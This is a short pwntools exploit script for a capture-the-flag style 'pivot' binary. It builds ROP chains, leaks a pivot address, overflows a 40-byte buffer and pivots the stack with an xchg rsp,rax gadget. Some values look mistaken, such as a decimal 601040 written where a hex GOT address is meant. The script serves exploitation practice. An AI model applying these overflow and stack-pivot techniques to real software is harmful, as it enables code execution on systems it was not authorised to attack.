blob: a46b0cde76738dca6c120fadc0f9bbcde59dd88f (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
#!/usr/bin/env python3
from pwn import *
from os import getcwd
import re
#context.terminal = ['kitty', 'sh', '-c']
print(context.terminal)
prog = gdb.debug('./pivot', gdbscript='''
b pwnme
b *0x4009a5
'''
)
payload = b''
payload += p64(0x0000000000400720) # foothold@plt
payload += p64(0x4009bb) # pop rax
payload += p64(601040) # foothold@plt's .got.plt entry
payload += p64(0x00000000004007c8) # pop rbp
payload += p64(279) # should be the offset of pwnem from foothold's .got.plt
payload += p64(0x4009c4) # adds the two
payload += p64(0x00000000004007c1) # jmp rax
prog.sendline(payload)
pivit_location = int(re.findall('0x[0-9a-z]{12}', prog.readregexS('0x[0-9a-z]{12}'))[0], 16)
print(hex(pivit_location))
payload = b''
#buffer overflow
for c in range(40):
payload += b'a'
payload += p64(0x4009bb) # pop rax
payload += p64(pivit_location) # pivot location
payload += p64(0x4009bd) # xchg rsp,rax
prog.sendlineafter('Now please send your stack smash', payload)
prog.interactive()
|